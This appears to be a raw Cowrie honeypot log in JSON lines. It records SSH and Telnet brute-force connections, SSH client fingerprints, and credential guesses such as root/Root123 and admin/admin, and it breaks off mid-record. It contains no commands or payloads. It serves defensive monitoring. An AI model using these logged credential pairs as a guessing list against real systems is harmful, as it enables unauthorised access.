{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":48802,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6d9b85dcdd8","protocol":"ssh","message":"New connection: 91.92.40.176:48802 (10.17.0.5:22) [session: c6d9b85dcdd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:56.652831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:56.681252Z","src_ip":"91.92.40.176","session":"c6d9b85dcdd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:56.754771Z","src_ip":"91.92.40.176","session":"c6d9b85dcdd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123","message":"login attempt [root/Root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:57.206573Z","src_ip":"91.92.40.176","session":"c6d9b85dcdd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:58.607608Z","src_ip":"91.92.40.176","session":"c6d9b85dcdd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":42826,"dst_ip":"10.17.0.5","dst_port":22,"session":"b91f82e2e1f2","protocol":"ssh","message":"New connection: 103.172.78.219:42826 (10.17.0.5:22) [session: b91f82e2e1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:06.084002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:06.086875Z","src_ip":"103.172.78.219","session":"b91f82e2e1f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:06.342028Z","src_ip":"103.172.78.219","session":"b91f82e2e1f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ntvjxrf","message":"login attempt [root/ntvjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:07.110315Z","src_ip":"103.172.78.219","session":"b91f82e2e1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:08.368567Z","src_ip":"103.172.78.219","session":"b91f82e2e1f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":44350,"dst_ip":"159.203.135.109","dst_port":23,"session":"29bd9c8b6a8f","protocol":"telnet","message":"New connection: 137.184.5.188:44350 (159.203.135.109:23) [session: 29bd9c8b6a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:10.250100Z"}
{"eventid":"cowrie.session.closed","duration":48.58164381980896,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:24.097229Z","src_ip":"170.64.224.25","session":"1a590cf9f4ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.7917160987854,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:26.976315Z","src_ip":"107.6.151.170","session":"6d5fb377c5f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41028,"dst_ip":"159.203.135.109","dst_port":23,"session":"67e0100c52cb","protocol":"telnet","message":"New connection: 170.64.224.25:41028 (159.203.135.109:23) [session: 67e0100c52cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:31.488244Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":49206,"dst_ip":"159.203.135.109","dst_port":22,"session":"72f8ca65e3d0","protocol":"ssh","message":"New connection: 143.20.185.207:49206 (159.203.135.109:22) [session: 72f8ca65e3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:42.878003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:42.887718Z","src_ip":"143.20.185.207","session":"72f8ca65e3d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:42.996905Z","src_ip":"143.20.185.207","session":"72f8ca65e3d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS#4VCPU8GBAMD","message":"login attempt [root/RASYAXINSAVPS#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:43.454091Z","src_ip":"143.20.185.207","session":"72f8ca65e3d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:44.569686Z","src_ip":"143.20.185.207","session":"72f8ca65e3d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36004,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bc386f43af0","protocol":"telnet","message":"New connection: 170.64.224.25:36004 (159.203.135.109:23) [session: 0bc386f43af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:48.722027Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":48090,"dst_ip":"10.17.0.5","dst_port":22,"session":"24834f68a564","protocol":"ssh","message":"New connection: 162.144.58.21:48090 (10.17.0.5:22) [session: 24834f68a564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:50.928066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:50.931623Z","src_ip":"162.144.58.21","session":"24834f68a564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:51.013214Z","src_ip":"162.144.58.21","session":"24834f68a564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamaica","password":"Kingston#Ethereum$P@ss!","message":"login attempt [jamaica/Kingston#Ethereum$P@ss!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:51.273188Z","src_ip":"162.144.58.21","session":"24834f68a564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:57:53.209597Z","src_ip":"162.144.58.21","session":"24834f68a564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.252.175.34","src_port":51946,"dst_ip":"10.17.0.5","dst_port":22,"session":"51666b125b74","protocol":"ssh","message":"New connection: 138.252.175.34:51946 (10.17.0.5:22) [session: 51666b125b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:07.060844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:07.100899Z","src_ip":"138.252.175.34","session":"51666b125b74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:07.350281Z","src_ip":"138.252.175.34","session":"51666b125b74","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:08.065907Z","src_ip":"138.252.175.34","session":"51666b125b74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:08.287834Z","src_ip":"138.252.175.34","session":"51666b125b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":33636,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f02e5025b70","protocol":"ssh","message":"New connection: 130.12.180.51:33636 (10.17.0.5:22) [session: 8f02e5025b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:08.370300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:08.373038Z","src_ip":"130.12.180.51","session":"8f02e5025b70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:08.455863Z","src_ip":"130.12.180.51","session":"8f02e5025b70","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:08.698152Z","src_ip":"130.12.180.51","session":"8f02e5025b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:09.212901Z","src_ip":"130.12.180.51","session":"8f02e5025b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.206446170806885,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:09.694553Z","src_ip":"170.64.224.25","session":"67e0100c52cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":74.34324932098389,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:24.593244Z","src_ip":"137.184.5.188","session":"29bd9c8b6a8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.43597650527954,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:36.157876Z","src_ip":"170.64.224.25","session":"0bc386f43af0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":35596,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc155b669224","protocol":"ssh","message":"New connection: 162.144.58.21:35596 (159.203.135.109:22) [session: dc155b669224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:42.404276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:42.407284Z","src_ip":"162.144.58.21","session":"dc155b669224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:42.488527Z","src_ip":"162.144.58.21","session":"dc155b669224","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamaica","password":"Kingston#Ethereum$P@ss!","message":"login attempt [jamaica/Kingston#Ethereum$P@ss!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:42.737785Z","src_ip":"162.144.58.21","session":"dc155b669224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:52.628090Z","src_ip":"162.144.58.21","session":"dc155b669224","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":57452,"dst_ip":"10.17.0.5","dst_port":22,"session":"809347121ebc","protocol":"ssh","message":"New connection: 91.92.40.176:57452 (10.17.0.5:22) [session: 809347121ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:55.695123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:55.724726Z","src_ip":"91.92.40.176","session":"809347121ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hell